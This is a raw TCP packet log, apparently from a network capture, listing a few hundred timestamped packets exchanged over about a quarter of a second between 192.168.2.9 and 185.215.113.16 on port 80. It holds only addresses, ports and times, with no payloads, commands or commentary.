Dec 16, 2024 10:38:29.652452946 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.652468920 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.652565002 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.653357983 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.653526068 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.653542042 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.653574944 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.654453993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.654531002 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.654548883 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.654587030 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.655576944 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.655627012 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.655643940 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.655749083 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.656563044 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.656656027 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.656670094 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.656836987 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.657824039 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.657835007 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.657896042 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.657896042 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.658937931 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.658947945 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.659018993 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.659018993 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.659852028 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.659933090 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.660044909 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.660089970 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.660976887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.660988092 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.661006927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.661031008 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.662039042 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.662112951 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.662132025 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.662220955 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.663358927 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.663371086 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.663436890 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.663436890 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.664206028 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.664216995 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.664246082 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.664267063 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.665642023 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.665652990 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.665819883 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.666315079 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.666393995 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.666410923 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.666507006 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.667519093 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.667530060 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.667687893 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.667687893 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.668560028 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.668570995 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.668850899 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.669488907 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.669599056 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.669678926 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.669852018 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.670602083 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.670650959 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.670949936 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.670994997 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.671771049 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.671812057 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.671911955 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.671967983 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.672949076 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.672961950 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.673018932 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.673018932 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.673932076 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.673943996 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.673984051 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.674968004 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.674979925 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.675174952 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.676089048 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.676100016 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.676196098 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.676196098 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.677192926 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.677203894 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.677370071 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.677370071 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.678086042 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.678174973 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.678235054 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.678284883 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.679333925 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.679344893 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.679441929 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.679441929 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.680694103 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.680704117 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.680749893 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.680749893 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.681385994 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.681438923 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.681628942 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.681725979 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.682535887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.682578087 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.682713032 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.682806015 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.683736086 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.683748007 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.683837891 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.684957981 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.684969902 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.685014963 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.685014963 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.685929060 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.685940981 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.685969114 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.686144114 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.687099934 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.687113047 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.687159061 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.687159061 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.687745094 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.687897921 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.687933922 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.688067913 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.689162016 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.689173937 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.689208031 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.689332008 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.689919949 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.690080881 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.690181017 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.690234900 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.691050053 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.691061974 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.691091061 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.691190004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.692320108 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.692332983 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.692384005 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.693156958 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.693227053 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.693331957 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.693388939 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.694289923 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.694309950 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.694339037 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.694360971 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.695606947 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.695620060 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.695744991 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.695744991 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.696425915 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.696501017 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.696520090 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.696592093 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.697928905 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.697942019 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.697982073 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.697982073 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.698487997 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.698537111 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.834008932 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.834063053 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.834075928 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.834213018 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.834471941 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.834533930 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.834561110 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.834661961 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.835575104 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.835676908 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.835968971 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.836101055 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.836118937 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.836169004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.837219954 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.837239981 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.837287903 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.837287903 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.838208914 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.838253975 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.838296890 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.838296890 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.839299917 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.839366913 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.839441061 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.839497089 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.840419054 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.840430975 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.840475082 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.840497971 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.841481924 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.841545105 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.841561079 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.841684103 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.842695951 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.842708111 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.842813969 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.843564987 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.843648911 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.843667030 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.843775034 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.844731092 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.844743967 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.844783068 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.844867945 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.845823050 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.845834970 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.845905066 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.845905066 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.846709013 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.846788883 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.846798897 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.846846104 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.847775936 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.847825050 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.847845078 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.847897053 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.848828077 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.848953962 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.848998070 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.849036932 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.849946976 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.850119114 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.850313902 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.850428104 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.851078987 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.851102114 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.851166010 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.851166010 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.852174044 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.852396965 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.852413893 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.852483034 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.853202105 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.853260994 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.853377104 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.853437901 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.854675055 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.854686975 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.854727030 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.854738951 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.855664968 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.855685949 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.855736017 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.855736971 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.856590986 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.856647015 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.856950998 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.857029915 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.857459068 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.857549906 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.857600927 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.857736111 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.858597994 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.858652115 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.858804941 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.858855009 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.859904051 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.859916925 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.859944105 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.860018969 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.861042976 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.861063957 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.861102104 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.861102104 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.861795902 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.861855984 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.861924887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.862024069 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.862932920 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.862945080 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.863017082 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.863017082 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.863993883 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.864042044 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.864075899 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.864075899 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.864978075 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.865042925 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.865185976 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.865331888 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.866031885 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.866075039 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.866452932 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.866548061 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.867244005 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.867265940 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.867295027 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.867335081 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.868345022 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.868355989 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.868407965 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.868462086 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.869473934 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.869487047 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.869514942 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.869573116 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.870516062 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.870528936 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.870579004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.870579004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.871501923 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.871550083 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.871570110 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.871671915 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.872520924 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.872607946 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.872693062 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.872728109 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.873923063 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.873944998 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.873979092 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.873979092 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.874774933 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.874788046 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.874924898 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.874924898 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.876342058 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.876353025 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.876395941 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.876885891 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.876971960 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.876997948 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.877111912 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.878226042 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.878237009 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.878274918 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.878961086 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.879013062 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.879360914 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.879545927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.880079031 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.880126953 CET	80	49935	185.215.113.16	192.168.2.9
